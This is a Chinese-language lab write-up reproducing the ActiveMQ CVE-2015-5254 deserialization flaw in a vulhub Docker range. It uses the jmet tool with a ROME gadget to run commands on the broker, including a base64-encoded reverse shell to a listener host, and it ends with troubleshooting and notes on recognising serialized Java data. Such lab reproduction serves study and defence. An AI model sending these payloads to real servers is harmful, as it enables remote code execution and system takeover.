CVE-2015-5254
ActiveMQ CVE-2015-5254漏洞复现
0. 环境搭建
-
安装docker:
curl -s https://get.docker.com/ | sh
-
搭建vulhub,使用wget下载vulhub:
wget https://github.com/vulhub/vulhub/archive/master.zip -O vulhub-master.zip
解压:
unzip vulhub-master.zip
进入漏洞环境:
cd /tools/range/activemq/CVE-2015-5254
启动环境:
docker-compose up -d
最后如图:
-
启动了CVE-2015-5254的环境,浏览器访问:
docker ps
能够看到0.0.0.0:8161-->8161/tcp 和 0.0.0.0:61616-->61616
其中的8161端口就是管理页面的端口,而61616则是发送消息的工作端口。
浏览器访问虚拟机ip加端口:192.168.163.128:8161
Manage ActiveMQ 为漏洞利用点,不过需要管理员权限才能访问,简单点说,需要密码,这里的默认帐密为admin/admin;所以在不清楚密码的同时,我们需要伪造消息去让管理员点击。
1. 漏洞复现
-
下载漏洞利用工具:
wget https://github.com/matthiaskaiser/jmet/releases/download/0.1.0/jmet-0.1.0-all.jar
-
构造可执行命令的序列化对象,执行命令
jmet原理是使用ysoserial生成Payload并发送(其jar内自带ysoserial,无需再自己下载),所以我们需要在ysoserial是gadget中选择一个可以使用的,比如ROME。
java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "touch /tmp/cve-2015-5254" -Yp ROME 192.168.163.128 61616
命令执行如图:
-
访问管理页面的消息队列,点击消息
进入Manage ActiveMQ,点击queue,能够看到获得的消息:
进入event,查看消息:
点击message ID,即可成功触发漏洞:
进入docker查看,tmp下是否已经创建了cve-2015-5254文件:
docker exec 541e3f -it /bin/bash #541e3f -->为docker ID,使用docker ps命令能够查看
CVE-2015-5254漏洞利用成功~
-
反弹shell
反弹shell,修改命令中“ ”内的命令,反弹shell命令为bash -i >& /dev/tcp/vps地址/nc监听端口 0>&1
漏洞利用同理,发送消息,点击消息,命令执行:
java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMS8xMjM0IDA+JjE=}|{base64,-d}|{bash,-i}" -Yp ROME 192.168.163.128 61616
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMS8xMjM0IDA+JjE=}|{base64,-d}|{bash,-i}该语句问上面的反弹shell命令编码过来,编码转换地址:http://www.jackson-t.ca/runtime-exec-payloads.html。
点击消息,命令执行:
如图:
得到shell:
以上为漏洞复现的整个过程,以下为在复现中遇到的问题:
反弹shell无法成功:
使用语句时,shell反弹不成功:
java -jar jmet-0.1.0.all-jar -Q event -I ActiveMQ -s -Y "bash -i >& /dev/tcp/192.168.1.1/1234" -Yp ROME 192.168.163.128 61616
解决方法:
将反弹shell命令编码,编码地址在上文。
问题:反序列漏洞利用是否bash命令是否都需要编码?
问了一下我的同事,需不需要编码是要看他代码里面写没写base64,一般都是需要的,因为序列化之后的数据是给计算机看的,对于我们来说就是一段乱码,所以一般进行一道base64编码,能让我们看上去舒服一些,一段数据以rO0AB开头,你基本可以确定这串就是JAVA序列化base64加密的数据,或者如果以aced开头,那么他就是这一段java序列化的16进制。这样一段数据就是典型的base64编码之后的java序列化数据: